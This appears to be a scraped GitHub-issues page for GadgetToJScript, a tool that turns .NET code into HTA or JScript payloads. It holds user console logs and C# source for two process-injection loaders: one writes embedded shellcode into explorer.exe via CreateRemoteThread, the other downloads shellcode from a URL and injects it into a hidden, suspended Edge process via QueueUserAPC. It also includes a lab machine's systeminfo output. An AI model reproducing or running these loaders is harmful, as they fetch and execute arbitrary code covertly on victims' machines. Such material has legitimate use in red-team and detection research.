med0x2e / gadgettojscript Goto Github PK

C:\Users\<>\Desktop\Tools\payloads\GadgettoJS>GadgetToJScript.NET4.x.exe -w hta -o shell -c payload.cs
[+]: Generating the hta payload
[+]: Compiling your .NET code located at:payload.cs
Error _AssemblyLoader: Error (CS0234): The type or namespace name 'Net' does not exist in the namespace 'System' (are you missing an assembly reference?): 2
Error (CS0234): The type or namespace name 'Linq' does not exist in the namespace 'System' (are you missing an assembly reference?): 3
Error (CS0234): The type or namespace name 'RegularExpressions' does not exist in the namespace 'System.Text' (are you missing an assembly reference?): 5
Error (CS0234): The type or namespace name 'Pipes' does not exist in the namespace 'System.IO' (are you missing an assembly reference?): 6
Error (CS0246): The type or namespace name 'WebClient' could not be found (are you missing a using directive or an assembly reference?): 219
Error (CS0246): The type or namespace name 'CookieContainer' could not be found (are you missing a using directive or an assembly reference?): 221
Error (CS0246): The type or namespace name 'Uri' could not be found (are you missing a using directive or an assembly reference?): 226
Error (CS0246): The type or namespace name 'Uri' could not be found (are you missing a using directive or an assembly reference?): 230
Error (CS0246): The type or namespace name 'WebRequest' could not be found (are you missing a using directive or an assembly reference?): 230
 :    at GadgetToJScript._AssemblyLoader.compile(String csFile, String references)

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.Collections.Generic;
using System.Linq;
using System.Text;
//using System.Threading.Tasks;
[ComVisible(true)]
public class Program
{
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32.dll")]
    static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
    [DllImport("kernel32.dll")]
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    public Program()
    {
        Process[] expProc = Process.GetProcessesByName("explorer");
        int pid = expProc[0].Id;
        IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
        IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
        byte[] buf = new byte[193] { 0xfc,0xe8,0x82,0x00,0x00,0x00,
            0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,
            0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
            0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,
            0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,
            0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,
            0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,
            0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
            0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,
            0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,
            0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,
            0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,
            0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
            0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,
            0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,
            0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,
            0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };
        IntPtr outSize;
        WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
        IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
    }
    public void RunProcess(string path)
    {
        Process.Start(path);
    }
}

using System;
using System.Net;
using System.Runtime.InteropServices;

namespace TestAssembly
{
    public class Program
    {

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern bool CreateProcess(
            string lpApplicationName,
            string lpCommandLine,
            IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation
        );

        [StructLayout(LayoutKind.Sequential)]
        public struct STARTUPINFO
        {
            public uint cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public ushort wShowWindow;
            public ushort cbReserved2;
            public byte[] lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public uint dwProcessId;
            public uint dwThreadId;
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr VirtualAllocEx(
            IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            uint flAllocationType,
            uint flProtect
        );

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool WriteProcessMemory(
            IntPtr hProcess,
            IntPtr lpBaseAddress,
            byte[] lpBuffer,
            uint nSize,
            out uint lpNumberOfBytesWritten
        );
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool TerminateProcess(
            IntPtr hProcess,
            uint uExitCode
        );

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool VirtualProtectEx(
            IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            uint flNewProtect,
            out uint lpflOldProtect
        );

        [StructLayout(LayoutKind.Sequential)]
        public struct Protection
        {
            public static readonly uint PAGE_EXECUTE_READ = 0x20;
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern uint QueueUserAPC(
            IntPtr pfnAPC,
            IntPtr hThread,
            IntPtr dwData
        );

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern uint ResumeThread(
            IntPtr hThread
        );

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool CloseHandle(
            IntPtr hObject
        );


        public static void Main(string[] args)
        {

            byte[] buf;
            using (var client = new WebClient())
            {
                client.Proxy = WebRequest.GetSystemWebProxy();
                client.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;

                //TLS
                ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3;

                buf = client.DownloadData("<URL>"); // or your own payload

                STARTUPINFO si = new STARTUPINFO();
                PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

                si.cb = (uint)Marshal.SizeOf(si);

                // Set the STARTF_USESHOWWINDOW flag to hide the window
                si.dwFlags = 0x00000001;
                si.wShowWindow = 0;

                // Set the CREATE_SUSPENDED flag to create the process in a suspended state
                uint dwCreationFlags = 0x00000004;

                bool success = CreateProcess(
                    "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
                    "\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --no-startup-window --win-session-start /prefetch:5",
                    IntPtr.Zero,
                    IntPtr.Zero,
                    false,
                    dwCreationFlags,
                    IntPtr.Zero,
                    null,
                    ref si,
                    out pi
                );

                uint flAllocationType = 0x1000; // MEM_COMMIT
                uint flProtect = 0x04; // PAGE_READWRITE
                uint flProtect_ex = 0x40; // PAGE_READWRITE

                var baseAdress = VirtualAllocEx(
                    pi.hProcess,
                    IntPtr.Zero,
                    (uint)buf.Length,
                    flAllocationType,
                    flProtect
                );

                if (baseAdress == IntPtr.Zero)
                {
                    return;
                }

                success = WriteProcessMemory(
                    pi.hProcess,
                    baseAdress,
                    buf,
                    (uint)buf.Length,
                    out _
                );

                if (!success)
                {
                    TerminateProcess(pi.hProcess, 0);
                    return;
                }


                success = VirtualProtectEx(
                    pi.hProcess,
                    baseAdress,
                    (uint)buf.Length,
                    Protection.PAGE_EXECUTE_READ,
                    out _
                );

                if (!success)
                {
                    TerminateProcess(pi.hProcess, 0);
                    return;
                }

                _ = QueueUserAPC
                (
                    baseAdress,
                    pi.hThread,
                    IntPtr.Zero
                );

                ResumeThread(pi.hThread);

                CloseHandle(pi.hThread);
                CloseHandle(pi.hProcess);

            }
        }
    }
}

C:\Users\Alice\Desktop\tools>GadgetToJScript.NET3.5.exe -c message.txt -d System.Windows.Forms.dll -w js -r
[+]: Generating the js payload
[+]: Compiling your .NET code located at:message.txt
[+]: Second stage gadget generation done.
[*]: Payload generation completed, check: test.js

C:\Users\Alice\Desktop\tools>cscript test.js
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.

C:\Users\Alice\Desktop\tools>whoami
offensive\alice

C:\Users\Alice\Desktop\tools>GadgetToJScript.NET3.5.exe -a message.exe -w js -r -b
[+]: Generating the js payload

Unhandled Exception: System.ArgumentNullException: Value cannot be null.
Parameter name: type
   at System.Runtime.Serialization.SerializationInfo.SetType(Type type)
   at GadgetToJScript.TextFormattingRunPropertiesMarshal.GetObjectData(SerializationInfo info, StreamingContext context)
   at System.Runtime.Serialization.Formatters.Binary.WriteObjectInfo.InitSerialize(Object obj, ISurrogateSelector surrogateSelector, StreamingContext context, SerObjectInfoInit serObjectInfoInit, IFormatterConverter converter, ObjectWriter objectWriter)
   at System.Runtime.Serialization.Formatters.Binary.WriteObjectInfo.Serialize(Object obj, ISurrogateSelector surrogateSelector, StreamingContext context, SerObjectInfoInit serObjectInfoInit, IFormatterConverter converter, ObjectWriter objectWriter)
   at System.Runtime.Serialization.Formatters.Binary.ObjectWriter.Serialize(Object graph, Header[] inHeaders, __BinaryWriter serWriter, Boolean fCheck)
   at System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Serialize(Stream serializationStream, Object graph, Header[] headers, Boolean fCheck)
   at GadgetToJScript._DisableTypeCheckGadgetGenerator.generateGadget(MemoryStream ms)
   at GadgetToJScript.Program.Main(String[] args)

C:\Users\Alice\Desktop\tools>systeminfo

Host Name:                 CLIENT1
OS Name:                   Microsoft Windows 10 Enterprise Evaluation
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Member Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:
Registered Organization:   Microsoft
Product ID:                00329-20000-00001-AA236
Original Install Date:     3/19/2019, 5:59:35 AM
System Boot Time:          7/12/2021, 7:26:56 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 158 Stepping 10 GenuineIntel ~2592 Mhz
                           [02]: Intel64 Family 6 Model 158 Stepping 10 GenuineIntel ~2592 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 7/22/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     2,047 MB
Available Physical Memory: 955 MB
Virtual Memory: Max Size:  4,479 MB
Virtual Memory: Available: 2,132 MB
Virtual Memory: In Use:    2,347 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    offensive.local
Logon Server:              \\DC
Hotfix(s):                 9 Hotfix(s) Installed.
                           [01]: KB4601555
                           [02]: KB4465065
                           [03]: KB4470788
                           [04]: KB4480056
                           [05]: KB4486153
                           [06]: KB4503308
                           [07]: KB4580325
                           [08]: KB5003243
                           [09]: KB4489899
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) PRO/1000 MT Network Connection
                                 Connection Name: Ethernet0
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 192.168.159.10
                                 [02]: fe80::2d18:c49d:84a1:ee9a
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

using System;
using System.Runtime.InteropServices;
public class TestClass
{
	[DllImport("User32.dll", CharSet = CharSet.Unicode)]public static extern int MessageBox(IntPtr h, string m, string c, int t);
	public TestClass()
	{
		MessageBox((IntPtr)0, "Test .NET Assembly Constructor Called.", "Coolio", 0);
        }
}